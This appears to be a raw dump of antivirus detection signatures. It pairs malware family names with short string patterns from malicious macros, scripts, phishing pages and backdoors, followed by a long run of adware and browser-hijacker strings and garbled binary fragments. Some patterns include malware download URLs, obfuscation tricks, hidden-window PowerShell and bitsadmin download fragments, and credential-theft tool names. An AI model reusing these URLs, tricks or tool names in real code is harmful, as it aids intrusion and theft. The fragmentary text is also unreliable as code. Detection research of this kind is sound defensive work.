!#MHSTR:Splitspace !#MHSTR:VBExposed Attribute VB_Exposed = False !#MHSTR:softoff HKCU\\Software\\Microsoft\\Office !#SLFPER:O97M/Nibtse !#MHSTR:MACRO/filenameext.exe.A 
!#MHSTR:XL4:Expert:Feature:51 !#MHSTR:SetSizeToZero .XSize = 0 .YSize = 0 !#HSTR:MacroCheckPermissions Permission.Enabled !#HSTR:MacroCheckRunningTasks Application.Tasks 
!#MHSTR:Brocess !#MHSTR:ERplcdotp !#MHSTR:MacroBATDelVariations \"del \" + Chr(34)\" !#MHSTR:MacroJustExcelSecurity \\Excel\\Security\\ !#MHSTR:MacroJustSpecialFolders .SpecialFolders 
!#MHSTR:MacroJustvbHide 0False !#MHSTR:MacroSubOpen1Line Open():  : End Sub !#MHSTR:Net.Use vbNullString, \"net\", \"use * \" & !#MHSTR:O97M/Hancitor.RH.EML!MTB & \"\\W0rd.dll\") 
!#MHSTR:O97M/Powdow.H + \"ps://formaversa.co/trq !#MHSTR:Obfuscator.CharUsed.D = (\"^ !#MHSTR:Obfuscator.LongNames.A !#MHSTR:Obfuscator.LongNames.B 
!#MHSTR:PSWindowStyleHidden -WindowStyle hidden !#TEL:Trojan:O97M/Obfuse.CT = \"dvfert36tge4tgf\" !#MHSTR:MacroCJustNormalTemplate .NormalTemplate 
!#MHSTR:MacroCJustVB_Description .VB_Description !#MHSTR:MacroCloseCallShell _cloSE(): Call Shell !#MHSTR:Obfuscator.Split.AppData + \"ppd\" + \"ata\" !#MHSTR:RegisterCimProvider 
register-cimprovider !#MHSTR:SuspiciousRoundWithString Round(\" !#MHSTR:Urlhtdow http://clarityupstate.com/b.ocx !#MHSTR:XL4:Expert:Feature:12 !#MHSTR:rocdot 
!#MHSTR:MacroJustConcatVariations \" & \" !#MHSTR:EncDoc.QHLL!MTB .xyz/index udSDFUsnks !#MHSTR:MacroExecute !#HSTR:MacroCheckDocumentKind ActiveDocument.Kind 
!#MHSTR:MacroJustADODBConnection ADODB.Connection !#MHSTR:MacroJustDocumentOpen Sub Document_Open() !#MHSTR:MacroJustSpecialFolder .GetSpecialFolder( 
!#MHSTR:MacroJustWorkbookOpen !#MHSTR:NtWriteVirtualMemory !#MHSTR:Obfuscator.WMI.A \".\\r\" \tOot\\Ci\") & !#MHSTR:URLDownloadToFileA.A = URLDownloadToFile( 
!#MHSTR:VBA.Shell.End VBA.Shell$  !#MHSTR:ZwWriteVirtualMemory !#MHSTR:MacroJustB64Mark ==\" !#MHSTR:Steptwwo Call stetptwwo Call tsettpwwo !#MHSTR:UserFormInfo .Caption .Scroll 
!#MHSTR:MacroDownload urlmon !#TEL:TrojanDownloader:O97M/BITSAbuse.A \tbitsadmin !#MHSTR:Comments.Odd.A As LongPtr)  '   !#MHSTR:MacroCJustOperatingSystem .OperatingSystem 
!#MHSTR:MacroExecuteHide.A Shell LocalFile, vbHide !#MHSTR:MacroJustActiveDocPath ActiveDocument.Path !#MHSTR:MacroJustInternetOpenUrlA !#MHSTR:MacroJustInternetReadFile 
!#MHSTR:MacroNormalPrompt Options.SaveNormalPrompt !#MHSTR:NextEndFunction Next   !#SLF:O97M/LoadAmsi (\"amsi.dll\" \"Amsi !#MHSTR:MacroNextLineTrick  _              _  & 
!#TEL:TrojanDownloader:O97M/MsiexecAbuse.A msiexec !#MHSTR:CreateTimerQueueTimer !#MHSTR:Donoff.Replace.3 (Replace(Replace(Replace !#MHSTR:ForVariableInstance 
!#MHSTR:MACRO/Process.TMP.A Start-Process  %TMP% !#MHSTR:MacroBig0D0A !#MHSTR:MacroJustChrWq   + wdKeyS +  \\durio.fur1 !#MHSTR:O97M/InteractionNewLine Interaction _ 
!#MHSTR:Obfuscator.Win32Check \tN32_\") & !#MHSTR:PrintCellValue Print # , Cells( !#MHSTR:WscriptAndShell \", \"\", \"WScript\" & \".Shell\" !#TELPER:OneLineAutoOpen 
!#MHSTR:MacroJustOneShell_Gen !#MHSTR:NtAllocateVirtualMemory !#MHSTR:Setyrg \\Excel\\Security c:\\users\\public\\1.reg !#MHSTR:WriteFile \" For Output As 0Print 
!#ALF:MHSTR:MacroDocxAsRtf Attribute VB_  !#MHSTR:ImportUrlApi  !#MHSTR:MacroCloseSkewed Auto_Close() autoclose() !#HSTR:MacroCallByNameTag CallByName   .Tag,  
!#MHSTR:MACRO/Obfuscator.Split.C \"W\" &  \"or\" !#MHSTR:MacroCreateolmailitem .CreateItem(olMailItem) !#MHSTR:MacroJustUserFormActivate UserForm_Activate() !#MHSTR:SubJop Sub 
jop(uuu As String, aaaa As String) !#MHSTR:WriteJS .js\" For Output As !#MHSTR:O97M/EncDoc.RR!MTB /.jpg IICCII !#HSTR:MacroCheckCountryInfo Application.International 
!#MHSTR:MacroCJustWorksheetFunction .WorksheetFunction !#MHSTR:MacroDisplayAlertsFalse .DisplayAlerts = False !#MHSTR:MacroJustExecuteExcel4Macro ExecuteExcel4Macro 
!#MHSTR:MacroJustURLDownloadToFileA !#MHSTR:MacroReplaceObfus Replace(\" X\", \"--$-\", \"\") !#MHSTR:O97M/Qakbot.PSY!MTB C:\\ProgramData\\Freyrgb.dll 
!#MHSTR:O97M/RepeatSelectCase.A Select Case  !#MHSTR:Powdow!VbaShell  - 1) !#HSTR:MacroSensitiveDocLen = Len(ThisDocument.Content) !#HSTR:TinyDocumentOpen sub 
document_open() end sub !#MHSTR:MacroCJustBitmapMissingFonts BitmapMissingFonts !#MHSTR:MacroJustBinaryAccessWrite  Binary Access Write !#MHSTR:WriteExe .exe\" For Output As 
!#MHSTR:WritePS1 .ps1\" For Output As !#MHSTR:WriteVBS .vbs\" For Output As !#MHSTR:ZwAllocateVirtualMemory ZwAllocateVirtualMemory !#MHSTR:DorpDocC2.A https://tegavu.com 
becomindo.com  !#MHSTR:Exmac KillArray ZipFolder !#HSTR:TrojanDownloader:W97M/Adnel.E Sub pppppppppppdf() !#MHSTR:ActiveDocument.Sections ActiveDocument.Sections( 
!#MHSTR:Bwinmgtsplus !#MHSTR:ConcatUserFormInfo form.Label1.Caption +  !#MHSTR:JoinLDIM   + Join( !#MHSTR:MACRO/Obfuscator.Redundancy.EmptyIf Then  
!#MHSTR:MACRO/Obfuscator.Split.B \" & \".r t\" & \" !#MHSTR:Macro.Base64Const Public Const   = \"BASE64\" !#MHSTR:MacroJustScriptingFSO !#MHSTR:RunWithJoin .Run Join( A-Za-z), 
!#MHSTR:Windo done(\"ja\"+\"va\",make !#SCPT:CodeOnly.Venusie.C functionfind_wasmj http://b.reich.io/ !#SCPT:JS/Nemucod.SG.0001 newerror(4);varnum !#SCPT:JS/Nemucod.SG:0002 
\";if(d==0){try{var !#SCPT:JS/Obfuse.RSF1!MTB |5000|settimeouts| !#SCPT:JS/Phish.ZXXY2!MTB <divclass=\"files\"> !#SCPT:JS/Prototype.Array array[\"prototype\"] !#SCPT:PDF:Stayt_B57EC8F3 
://fliaced.ru)>>>> \\g\\prfb-chrome.exe !#SCPT:TisifiException222 iesoexpensereports !#SCPT:Tobeet_Js_0880D6AF .value;return;}if( !#SCPT:Tobeet_Js_398DF7F8 vara={a:\"(function 
!#SCPT:Tobeet_Js_4467F3FE 41,59,10,125));/*! !#SCPT:Tobeet_Js_4FBDF365 '),{'\\x64\\x65\\x74\\ !#SCPT:Tobeet_Js_5F9A8505 replace(reg.eep,\"a !#SCPT:Tobeet_Js_66FE67AD 
,41,59,10,125));/* !#SCPT:Tobeet_Js_7F8A15D1 ,47,122,114,116,46 !#SCPT:Tobeet_Js_8154A2CC ,59,10,125));/***@ !#SCPT:Tobeet_Js_86912E10 32,49,48,48,44,32, 
!#SCPT:Tobeet_Js_913390EB %x}2c9n*q+\";return !#SCPT:Tobeet_Js_97288EC7 \\\",\\\"\\\"),dot=0,hf= !#SCPT:Tobeet_Js_A37D1202 (e<32?95+e:e)}try{ !#SCPT:Tobeet_Js_A785A31D 
fi,ri,fr,wi,s2,ctf !#SCPT:Tobeet_Js_B9AB3F9F dot=0,hf=function( !#SCPT:Tobeet_Js_C97E26B6 elds\"][\"a\"+\"pp\"+\"e !#SCPT:Tobeet_Js_D19497FA xmlhttp;if(window. 
!#SCPT:Tobeet_Js_DAB084D3 b\\',\\'g\\'),k[c])}} !#SCPT:VBS/Installer.AJK3 filename=randomexe invoke-backdoorlnk invoke-jsratregsvr invoke-jsratrundll invoke-poshrathttp 
!#SCRIPT:PHP/SocketRead.A socket_read( !#SCRIPT:Perl/Massdefa.A2 (c)odedbyh4ckinger !#Trojan:Win32/Lnkcmd.HZ3 !#BAT:BitsadminCmd!AddFile bitsadmin/addfile !#Exploit:O97M/SlExK.frag3 
c;x1;y102;ehalt() !#SCPT:CodeOnly.Dropclay.E newarrayfengshui( !#SCPT:CodeOnly.Veeblier.A tiny_dd_magic_arg !#SCPT:Exploit:JS/Axpergle uctnczih(\"tij-#2n !#SCPT:Exploit:RTF:BLDER.5 
fcamefromimgdummy !#SCPT:HTML/Phish.PDH6!MTB newinjection///// !#SCPT:JS/Obfuse.ZXXP1!MTB array(wsh[drag0mf !#SCPT:O97M/EncDoc.RA4!MTB ></xm:macrosheet> 
!#SCPT:Obfuscator.BigSleep sleep !#SCPT:VBSNetlogonDrivemap netlogon\\drivemap !#SCPT:VBSOpenAsTextStream .openastextstream &chr( !#SCPT:getextensionname.A1 getextensionname( 
!#SCRIPT:CreateProcessFunc createprocessfunc !#SCRIPT:DllRegisterServer !#SCRIPT:HasObj_document.C .body.clientwidth {++(d.body)}catch !#SCRIPT:JS/Nemucod.OOE.01 (\"g\\x45t\",\"http:\" 
!#SCRIPT:NetDiscoenumnet.A enumnetworkdrives !#SCRIPT:PHP/Oogway.E1!MTB codedbykashifkhan !#SCRIPT:PS/PowerHub.C!MTB &(g`cmi*k`e-e*n)$ !#SCRIPT:PsGetModuleFile.A 
getmodulefilename !#Trojan:BAT/Agent.MR6!MTB strreverse(\"teg\") !#XmlSerialGadgetWindowsId <windowsidentity  !#Adware:PowerShell/AdLoad1 c:\\windows\\psgo\\ !#SCPT:AADprovisioningapi.C 
get-globaladmins !#SCPT:CodeOnly.Flyheart.AG classmjfetch !#SCPT:CodeOnly.Sundoggle.N frameworkplugin( !#SCPT:CodeOnly.Sundoggle.R classbtledevice( !#SCPT:CodeOnly.Sundoggle.T 
classandroidble( !#SCPT:FolderPathUserPublic c:\\users\\public\\ !#SCPT:GeneralityCleanStr.H ps3systembrowser !#SCPT:GeneralityCleanStr.N alloc8_constants !#SCPT:Nemucod:StartProcess 
='^;start-proces !#SCPT:O97M/Dridex.VIS6!MTB <t>m/ds/0604.</t !#SCPT:O97M/EncDoc.RHA5!MTB !#SCPT:O97M/EncDoc.RSS1!MTB >microsoftexcel< !#SCPT:O97M/EncDoc.VPP4!MTB 
<f>\"wnloadt\"</f> !#SCPT:O97M/IcedID.VAR2!MTB !#SCPT:O97M/IcedID.VI93!MTB belandes(0,cc268 !#SCPT:O97M/Qakbot.RVG2!MTB !#SCPT:O97M/Qakbot.RVI2!MTB 
!#SCPT:PWS:HTML/Phish.SMKV6 //newinjection// !#SCPT:Win32/XFAObfuscation /acroform<</xfa% !#SCPT:WindowsDiscount_ins3 installfdservice !#SCRIPT:FlashExp_shellcode 
eb125831c966b96d !#SCRIPT:GetAsyncKeyState.A getasynckeystate !#SCRIPT:GetKeyboardState.A getkeyboardstate !#SCRIPT:HTML/TechMsgCall.B contactemergency 
!#SCRIPT:HTML/TechMsgCall.E contactmicrosoft !#SCRIPT:HTML/TechMsgCall.H microsoftsupport }catch(gdsgdsg){ }catch(gdsgsdg){ za+=string[ff](e yy/=36}catch(pq) 
!#SCRIPT:JS/TechAlertCode.M onclick=\"alert(' !#SCRIPT:PHP/Xboxeye.A2!MTB include'ip.php'; !#SCRIPT:PsEnvUserProfile.A $env:userprofile !#TEL:HTML/CoinHive.C!Miner  .start(); 
!#TEL:HTML/CoinHive.F!Miner newcoinhive.user !#Trojan:VBS/Autorun!attr06 executestatement !#Trojan:Win32/Pony.SA6!MTB ping-n2127.0.0.1 !#Exploit:Win32/Pdfjsc.ZX_02 qq='trewqva!l'; 
!#PowerShell:ConvertFrom-Csv convertfrom-csv !#PowerShell:Enter-PSSession enter-pssession !#PowerShell:Get-PSCallStack get-pscallstack !#PowerShell:Get-TraceSource get-tracesource 
!#PowerShell:Measure-Command measure-command !#PowerShell:Remove-PSSnapin remove-pssnapin !#PowerShell:Remove-TypeData remove-typedata !#PowerShell:Remove-Variable remove-
variable !#PowerShell:Set-TraceSource set-tracesource !#PowerShell:Update-TypeData update-typedata !#SCPT:Exploit:JS/Axpergle.A exteeec\"value=\" !#SCPT:Exploit:JS/Meadgive.A m3s4v\" 
@\".mp3\" !#SCPT:HTML/Phish.VIS992!MTB ///newinjection !#SCPT:KeyloggerWindowHook.A wh_keyboard_ll, !#SCPT:LowfiTrojan:JS/Auto23 \\open\\default=1 !#SCPT:LowfiTrojan:JS/Auto84 
.pl/rc/\"framebo !#SCPT:O97M/EncDoc.VARP4!MTB now()&amp;\".dat ${\"\\x47\\x4c\\x4f !#SCPT:Powershell/Leivion.P4 ::virtualalloc( !#SCPT:Trojan:IS/AutoRun.KD7 viewfilesondisk 
!#SCPT:Trojan:JS/Iframe.JRL2 window['alert'] ev'+fnk+\"a\"+\"l\" !#SCRIPT:ContainsClassCode.B publicclass !#SCRIPT:Exploit:JS/AimesuL4 paramvalue=\"dyy !#SCRIPT:HTML/TechMsgCall.AE 
calltechsupport !#SCRIPT:HTML/TechMsgCall.AH contactcustomer !#SCRIPT:JS/VariableWithMZ.A  =\"4d5a !#SCRIPT:PHP/PotentialWS.WSH escapeshellcmd( !#SCRIPT:PSCommonArtifacts.F 
functioninvoke- !#SCRIPT:Powershell/SQLAgent get-sqlagentjob !#TEL:SCPT_LCSuspiPSPattern6 get-vulnschtask !#BRUTE:LNK:Expert:Feature:82 .open(\"ge !#SCPT:Nemucod_Obfuscator_A!D 
.type= !#SCPT:Nemucod_Obfuscator_A!E .close(); !#SCPT:PossibleBase64MZHeader =\"tvqqaamaaaae !#SCPT:SuspiciousJAVAfilename siparisler.jar !#SCPT:Trojan:JS/Bardungos.A3 
1.49621490834e !#SCPT:Trojan:JS/Bardungos.A4 collectgarbage .createthread( .dispcallfunc( .enumpropsexa( .enumpropsexw( this.hj48kme() !#SCRIPT:ASP/PotentialWS.WSH1 objshell.exec( 
!#SCRIPT:Exploit:JS/LikySlr-3 transformnode( !#SCRIPT:HasString_XajaxLib.C ==typeofxajax) !#SCRIPT:PowerShell/PsRunFile .vbs\"&& !#SCRIPT:Trojan:JS/PDFEmbedA3 =&quot;http:// 
+=';';function !#TEL:SCPT_LCSuspiPSPattern30 start-agentjob !#TEL:SCPT_LCSuspiPSPattern39 portscan-alive !#TEL:SCPT_LCSuspiPSPattern59 get-chromedump 
!#TEL:SCPT_LCSuspiPSPattern65 get-keystrokes !#TEL:SCPT_LCSuspiPSPattern78 invoke-gofetch !#TEL:SCPT_LCSuspiPSPattern90 invoke-inveigh !#Trojan:AutoIt/Inject.F9!MTB $return=$e($b( 
!#Worm:VBS/Jenxcus.DB.isready (is-ready,(\"\") !#SCPT:MacroDownloadExe.B!amsi stream.write( !#SCPT:Phish:PHP/Phishmul.GA12 <formaction=\" !#SCPT:Phish:PHP/Phishmul.GA15 
powerxrangers !#SCPT:Phish:PHP/Phishmul.GG19 \"cyveillance\" !#SCPT:Trojan:Win32/WinLNK.DR1 mshta.exel-kc !#SCPT:VBS/Bloodhound.ARF1!MTB executeglobal 
!#SCRIPT:Exploit:SWF/Netis.E-3 regexpreplace !#SCRIPT:Exploit:SWF/Netis.Z-3 flash.display !#SCRIPT:Exploit:Win32/DatLis4 offsetparent= !#SCRIPT:HTML/TechMsgEvents.AS mayhaveavirus 
!#SCRIPT:HTML/TechMsgEvents.AX couldriskyour !#SCRIPT:HTML/TechMsgEvents.AY computermaybe !#SCRIPT:HTML/TechMsgEvents.AZ maybeinfected !#SCRIPT:HTML/TechMsgEvents.BD 
duetopossible !#SCRIPT:HTML/TechMsgEvents.BH stealordelete !#SCRIPT:HTML/TechMsgSubject.E mailpasswords !#SCRIPT:HTML/TechMsgSubject.H privatephotos 
!#SCRIPT:PHP/GetHostByAddr!MTB gethostbyaddr !#SCRIPT:UsernameFileName.A!js %username%.js .bankinter.es .ingdirect.es paypal.com.br privatbank.ua serasa.com.br 
!#TEL:SCPT_LCSuspiPSPattern106 copy-sections !#TEL:SCPT_LCSuspiPSPattern137 portscan-port !#TEL:SCPT_LCSuspiPSPattern170 parse-ipports !#TEL:SCPT_LCSuspiPSPattern199 invoke-
psgcat !#TEL:SCPT_LCSuspiPSPattern205 get-passhints !#Worm:VBS/Jenxcus.Neroz!Lowfi neroz=n3roz(\" sellerrulez! !#AsrOfficeExecContentBypass.P1 !#BRUTE:JAMSI:Expert:Feature:62 -
windowstyle !#BRUTE:JAMSI:Expert:Feature:82 ,\"\",\"\",\"0\"); !#BRUTE:JAMSI:Expert:Feature:93 !#BRUTE:OOXML:Expert:Feature:18 <v:imagedata !#BRUTE:OOXML:Expert:Feature:19 <o:oleobject 
!#BRUTE:OOXML:Expert:Feature:20 type=\"embed\" !#BRUTE:SCHTSK:Expert:Feature:5 <principals> !#SCPT:Autorun.execute.actntext action= !#SCPT:Exploit.JS.Axpergle.CE.2 ='kex'.+'ec' 
!#SCPT:Exploit:HTML/Tronlex.A.2 --no-sandbox =math.floor; !#SCPT:Exploit:JS/Neclu_obffrag l*e@n@g*t-h@ !#SCPT:Exploit:PDF/Ticanoti.CS5 .join(\\\"\\\")) !#SCPT:JsMethodFunc_arraybuffer 
arraybuffer( !#SCPT:JsMethodFunc_uint16array uint16array( !#SCPT:JsMethodFunc_uint32array uint32array( !#SCPT:Phish:PHP/Allowfrmall.GG allowfromall /notify.php? 
!#SCPT:Trojan:VBS/SLoad.PA!Pra2 !#SCPT:Trojan:VBS/SLoad.PB!Pra3 .savetofilew viewthisfile ]+number+_0x !#SCRIPT:Python/ShellBot.D1!MTB [0]==\"exec\": !#SCRIPT:StringRecycleBinFolder 
$.recyclebin !#SCRIPT:WinApis_VirtualAlloc.D !#SCRIPTLOWFI:BankerProxy.proxy return\"proxy yxorp !#Script:Phish:PHP/ScamPage!MTB --scampage-- !#Script:Phish:PHP/VoiceMsg!MTB ---
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$.recyclebin !#SCRIPT:WinApis_VirtualAlloc.D !#SCRIPTLOWFI:BankerProxy.proxy return\"proxy yxorp !#Script:Phish:PHP/ScamPage!MTB --scampage-- !#Script:Phish:PHP/VoiceMsg!MTB ---
by*b0y--- !#Trojan:BAT/AVDisabler.A!atb05 rutg.exe/run !#Trojan:PowerShell/Sldscr_dhs2 \"wireshark*\"  !#BRUTE:SCHTSK:Expert:Feature:44 )8 !#BRUTE:SCHTSK:Expert:Feature:44   
!#BRUTE:SCHTSK:Expert:Feature:69 )8 !#BRUTE:SCHTSK:Expert:Feature:69   !#SCPT:Backdoor:Perl/Dirtelti.P2 )8 !#SCPT:Backdoor:Perl/Dirtelti.P2 return\"fuck   
!#SCPT:Java/AdwindOddClassName.A )8 !#SCPT:Java/AdwindOddClassName.A main/   !#SCPT:Java/AdwindOddClassName.B )8 !#SCPT:Java/AdwindOddClassName.B   
!#SCPT:Java/AdwindOddClassName.C )8 !#SCPT:Java/AdwindOddClassName.C  )8 !#SCPT:PowerShell/EncodedCommand  pwsh  pwsh )8 !#SCPT:PowerShell/NonInteractive  pwsh  
!#SCPT:Trojan:JS/Obfuse.RVD6!MTB )8 !#SCPT:Trojan:JS/Obfuse.RVD6!MTB return\\\"{2}   !#SCPT:Trojan:VBS/Obfuse.RV2!MTB )8 !#SCPT:Trojan:VBS/Obfuse.RV2!MTB wckr=chr(k)   
!#SCPT:TrojanSpy:JS/BrobanDel.A5 )8 !#SCPT:TrojanSpy:JS/BrobanDel.A5 brasil|hsbc   !#SCRIPT:PowerShell/Credphishlog )8 !#SCRIPT:PowerShell/Credphishlog  :tmp $;if(  
!#Trojan:Win32/Nanocore.FC12!MTB )8 !#Trojan:Win32/Nanocore.FC12!MTB 2e626174\"))   !#Worm:VBS/Jenxcus.Recoder!Lowfi )8 !#Worm:VBS/Jenxcus.Recoder!Lowfi '<[recoder:  
!!#SCPT:Backdoor:PHP/cookiejack.GG )8!!#SCPT:Backdoor:PHP/cookiejack.GG cookiejack !!#SCPT:Backdoor:PHP/ensikology.GG )8!!#SCPT:Backdoor:PHP/ensikology.GG ensikology 
!!#SCPT:Exploit:HTML/Axpergle.AH.2 )8!!#SCPT:Exploit:HTML/Axpergle.AH.2 &amp;exec= !!#SCPT:GeneralityExploitStrRare.S )8!!#SCPT:GeneralityExploitStrRare.S 
!!#SCPT:Nemucod_exclusion.lib_load )8!!#SCPT:Nemucod_exclusion.lib_load |lib_load| !!#SCPT:Nemucod_exclusion.writelog )8!!#SCPT:Nemucod_exclusion.writelog |writelog| 
!!#SCPT:Phish:PHP/TA_realcarder.GG )8!!#SCPT:Phish:PHP/TA_realcarder.GG realcarder !!#SCPT:Trojan:VBS/Obfuse.HBS3!MTB )8!!#SCPT:Trojan:VBS/Obfuse.HBS3!MTB =\"h\"&\"ell\" 
!!#SCPT:Trojan:VBS/Obfuse.HBS8!MTB )8!!#SCPT:Trojan:VBS/Obfuse.HBS8!MTB ox.runok,0 !!#SCRIPT:Exploit:HTML/Meercat.E-1 )8!!#SCRIPT:Exploit:HTML/Meercat.E-1 todaystats 
!!#SCRIPT:Exploit:HTML/Meercat.I-4 )8!!#SCRIPT:Exploit:HTML/Meercat.I-4 noreferer: !!#SCRIPT:Exploit:HTML/Meercat.M-1 )8!!#SCRIPT:Exploit:HTML/Meercat.M-1 traffadmin 
!!#SCRIPT:Exploit:HTML/Meercat.N-3 )8!!#SCRIPT:Exploit:HTML/Meercat.N-3 threadname !!#SCRIPT:JS/BlacoleRefLowfi.Frag1 )8!!#SCRIPT:JS/BlacoleRefLowfi.Frag1 }catch(q){ 
!!#SCRIPT:PowerShell/Macroburst.B4 )8!!#SCRIPT:PowerShell/Macroburst.B4 /tags/list !!#Trojan:BAT/CryptReplDow.AF5!MTB )8!!#Trojan:BAT/CryptReplDow.AF5!MTB timeout/t1 
!!#TrojanDownloader:VBS/GootKitsd5 )8!!#TrojanDownloader:VBS/GootKitsd5 \"!#SCPT:EnvVarCharReplacement.Clean )8\"!#SCPT:EnvVarCharReplacement.Clean \\microsa\\ ninitepro 
\"!#SCPT:GeneralityExploitStrRare.AT )8\"!#SCPT:GeneralityExploitStrRare.AT sbxescape )8\"!#SCPT:JS/Obfuscator.Split.MSXML.A l2.xmlh\"; )8\"!#SCRIPT:LoadWin32importsfromMacro lib\"ntdll 
#!#Exploit:VBS/CVE-2018-8174.A!atb01 )8#!#Exploit:VBS/CVE-2018-8174.A!atb01 ()+69596  #!#SCPT:Backdoor:ASP/Dirtelti.F1!MTB )8#!#SCPT:Backdoor:ASP/Dirtelti.F1!MTB aspshell  
#!#SCPT:Backdoor:ASP/Dirtelti.J3!MTB )8#!#SCPT:Backdoor:ASP/Dirtelti.J3!MTB hackwolf  #!#SCPT:Backdoor:ASP/Dirtelti.J4!MTB )8#!#SCPT:Backdoor:ASP/Dirtelti.J4!MTB file_del  
#!#SCPT:Backdoor:ASP/Dirtelti.J5!MTB )8#!#SCPT:Backdoor:ASP/Dirtelti.J5!MTB file_att  #!#SCPT:Backdoor:PHP/Dirtelti.A7!MTB )8#!#SCPT:Backdoor:PHP/Dirtelti.A7!MTB =explode  
#!#SCPT:Backdoor:PHP/Dirtelti.C3!MTB )8#!#SCPT:Backdoor:PHP/Dirtelti.C3!MTB getcwd()  #!#SCPT:GeneralityExploitStrCommon.B )8#!#SCPT:GeneralityExploitStrCommon.B ropchain  
#!#SCPT:GeneralityExploitStrCommon.I )8#!#SCPT:GeneralityExploitStrCommon.I  oobr #!#SCPT:GeneralityExploitStrCommon.X )8#!#SCPT:GeneralityExploitStrCommon.X  
)8#!#SCPT:JS/Obfuscator.HexMixed.cmd.A \\u0063md  c\\u006dd  cm\\u0064  )8#!#SCPT:JS/Obfuscator.HexMixed.run.A \\u0052un  r\\u0075n  #!#SCPT:JS/Obfuscator.Hex 
)8#!#SCPT:JS/Obfuscator.Hex y.*NT >1rcF SDa8l4q \\Oursurfing.exe -silence -ptid= &bundle=Component&product=Oursurfing&status= \\luckysearchesSoftware\\luckysearcheshp 
\\luckysearchesSoftware\\luckysearcheshpx \\bin\\pxdl.pdb {9CEE239D-2901-4D60-AE9E-25CDA88D47E2} %s/%s/%s?action=%s %s -ptid=%s eUpgrade\\eupgrade.exe -enablebho -bhoid={ \\MiuiTab 
\\ProtectService.exe sc delete IePluginServices \\SupTab\\SupTab.dll \\MiniLite \\searchProvider.xml SOFTWARE\\WdsManPro {262E20B8-6E20-4CEF-B1FD-D022AB1085F5} MangerProtect 
WdsManPro mini_zip update0=ref,%s&update1=nation,%s&update2=language,%s \\TMain\\Release\\SvrUpdater.pdb \\TMain\\Release\\TSvr.pdb TSvr.cfig SVR: I will exit..... Manages network policy 
and network policy notification delivery for TSv.com. /sof-installer/%s?action1=xa.geoip&action2=visit \\InstallerMainV6_Yrrehs\\Release\\Main.pdb Main_t00ls_Yrrehs /%s?action=%s.dlzip \\I\\conf 
.%s.finish \\I\\tmp II.zip \\I\\tmpII.zip %d%02d%02d%02d%02d%02d II.zip\\I \\SearchProtect\\Bin\\Release\\CmdShell.pdb 1F4C6304-865F-41EA-B18C-DB10B5F77DF5 5F26509F-29FE-4598-8800-
FA22CE9CC17F HPNotify.exe -run -ptid=%s %sconf \\SearchProtect\\bin\\Release\\HPNotify.pdb &ts=%d&from=xtab&uid=%s /searchprotect/%s?action SUPDuiWindow %s%s?
action=browser.%s.prevent.homepage.%s \\Release\\SFKEX.pdb \\x64\\Release\\SFKEX64.pdb Yrrehs.exe t00ls_Y[S t00l_Yrrehs_EX_ /logic/z.php xa.xingcloud.com/v4/sof-everything/ xingcl 
oud.com/v4/ sof-every thing/ xingcloud.com/v4/sof-everything/ \\SFKEX.dll e_SetDefaultSearch e_SetHomePage \\SearchProtect\\Bin\\Release\\BrowerWatch I will exit watching thread. 
\\SearchProtect\\Bin\\Release\\IeWatchDog.pdb \\bin\\BrowserAction_MD.pdb /searchprotect/up?ptid=%s&sid=%s&ln=%s_%s&ver=%s&uid=%s&dp=%s 2EFFE99D-743D-44D0-BBF2-
F9DDDEA2F92D \\SearchProtect\\Bin\\Release\\ProtectService.pdb cmdshell.exe IHProtectUpDate SOFTWARE\\IHProtect IHProtectPlugin SUhQcm90ZWN0UGx1Z2lu /sof-installer/%s?
action=%s.uninstall.%s UninstallManager  will be removed, are you sure to continue? \\SupTab\\ Dlg2.xml <Option name=\"HpProtect\" Windows Protect Manager 
\\extensions\\defsearchp@gmail.com\\install.rdf \\SupNewTab\\bin\\SupTab.pdb 2023ECEC-E06A-4372-A1C7-0B49F9E0FFF0 BFAC251F-FE56-45F9-B134-2CD7DCBF8EE0 /sof-ient/%s?action no 
load urlmon.dll install_ie t00lHOM \\SSFK\\Release\\SSFK.pdb \\supsoft\\WPM2.0\\Release\\ReportDll.pdb /sof-everything/%s?action Everything.exe TheradTask::Stop:%d:%d:%d 
http://www.thefacebooksinfo.com/Public/softs/freefinder/FreeFinderResourcesNew.zip \\net_search\\ /everything/up?ptid=%s&sid=%s&ln=%s_%s&ver=%s&uid=%s SFKEX64.exe SFKEX.exe -silence -
ptid=%s /sof-installer/%s?action=%s \\conf -force  -type=%d -innerptid=%s -mver=%s  %s -force  -type=%s -innerptid=%s -mver=%s  %s FBFDE863-3C17-4B82-A5D1-9B8ED5BE6B40.tmp 
(FBFDE863-3C17-4B82-A5D1-9B8ED5BE6B40.tmp -force -type= ?action=%s.dlzip1.%s.finish,%d 160DD503-E139-4E78-AB29-79A839E404BE -innerptid=%s  -mver=%s Zero-tmp /%s/1/%s/2 /%s/1 
/%s/2 123b.zip 456b.zip 849E93D6-4D33-4AAD-A4FD-42A14F13FA00 Upgrade Wizar d QDo6HRFDF0MhQ2dT D$HPj ..\\DataBase ..\\DataBaseDoWork uninstallDlg2.xml 
LWZvcmNlICAtdHlwZT0xIC1pbm5lcnB0aWQ9 ..\\test ..\\testDoWork ..\\mainup ..\\mainupDoWork I s t he Latest Version! p-\tAtL  $Rq` {wV$, yfn+5N* c;s,i, #gU|@h T,;gCd .lEyJ !J'?R \\WPM` #\\WPM` 
\\SFK` &\\SFK` \\STab` &\\STab` \\XTab` &\\XTab` \\qone8` \\2WdM2` #\\2WdM2` \\6WdM6` #\\6WdM6` \\7WdM7` #\\7WdM7` \\corss` #\\corss` \\cosun` #\\cosun` \\lWdMl` #\\lWdMl` \\yWdMy` 
#\\yWdMy` \\TData`\t &\\TData`\t \\SupTab`\t \\4winp4`\t \\update`\t \\RayDld`\t \\SupTab` \\SupTab`\t#\\4winp4`\t#\\update`\t&\\RayDld`\t&\\SupTab` \\vi-view` \\Tmp0x0x` \\MiuiTab` #\\Tmp0x0x` 
&\\MiuiTab` \\aartemis` \\key-find` \\MiniLite` &\\MiniLite` \\TDataDld` &\\TDataDld` \\awesomehp` \\do-search` \\istart123` \\omniboxes`  (x86)\\SFK` & (x86)\\SFK` \\Everything` \\istartsurf` \\mysites123` 
\\omiga-plus` \\oursurfing` \\sweet-page` \\MWMiniProM` \\XWMiniProX`  (x86)\\STab`  (x86)\\XTab` #\\MWMiniProM` #\\XWMiniProX` & (x86)\\STab` & (x86)\\XTab` \\6WdsManPro6` #\\6WdsManPro6` 
\\FWdsManProF` #\\FWdsManProF` \\HWdsManProH` #\\HWdsManProH` \\SWdsManProS` #\\SWdsManProS` \\UWdsManProU` #\\UWdsManProU` \\vWdsManProv` #\\vWdsManProv`  (x86)\\TData` 
